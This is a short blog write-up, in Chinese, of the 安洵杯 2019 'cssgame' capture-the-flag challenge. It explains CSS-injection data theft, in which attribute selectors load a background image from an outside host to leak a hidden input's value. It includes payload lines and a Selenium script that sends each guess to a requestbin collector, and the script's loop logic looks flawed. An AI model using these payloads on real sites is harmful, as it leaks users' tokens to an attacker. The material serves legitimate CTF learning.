Back

[安洵杯2019]cssgame

[安洵杯 2019]cssgame

露骨的F12

https://websec.readthedocs.io/zh/latest/vuln/xss/trick/cssi.html

CSS注入,如果有机会写任意CSS,那么可以做到

1.得到input栏里的token

2.得到<script>里的token

当然,题里用flag代替token

我们这里使用CSS selectors完成攻击

/*选择value值为abc的input标签*/
input[value="abc"] { }

/*选择value值以a开头的input标签 */
input[value^="a"] { }

注入代码:

input[name=flag][value^="b"] ~ * {background-image: url("http://x.x.x.x/b");}

更换选择的值,选择到了就加载对应的background-image

~ *简单理解为防止出现background-image不加载的情况

# encoding = utf-8
import string 
from selenium import webdriver	
import time

url = 'http://df3ac406-f5d0-4459-af64-3ff82a3d9f39.node4.buuoj.cn:81/'
driver =  driver=webdriver.Chrome("F:\\chromedriver_win32\\chromedriver.exe" )
flag = ''
s = string.digits+string.ascii_letters+'{'+'}'+'_'   #可见字符
for i in s:
        flag += i
        string = 'input[name=flag][value^="%s"] ~ * {background-image: url("http://http.requestbin.buuoj.cn/1q89at51/%s");}'%(flag, flag)
        data = {"css": string}
        driver.get(url)
        css = driver.find_element_by_name('css')
        css.send_keys(string)
        driver.find_element_by_xpath("//input[@type='submit']").click()
        flag= ''

麻了,这个脚本跑多了靶机就没反应了,然后就要重启靶机……神奇

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy
© Licensed Under CC BY-NC-SA 4.0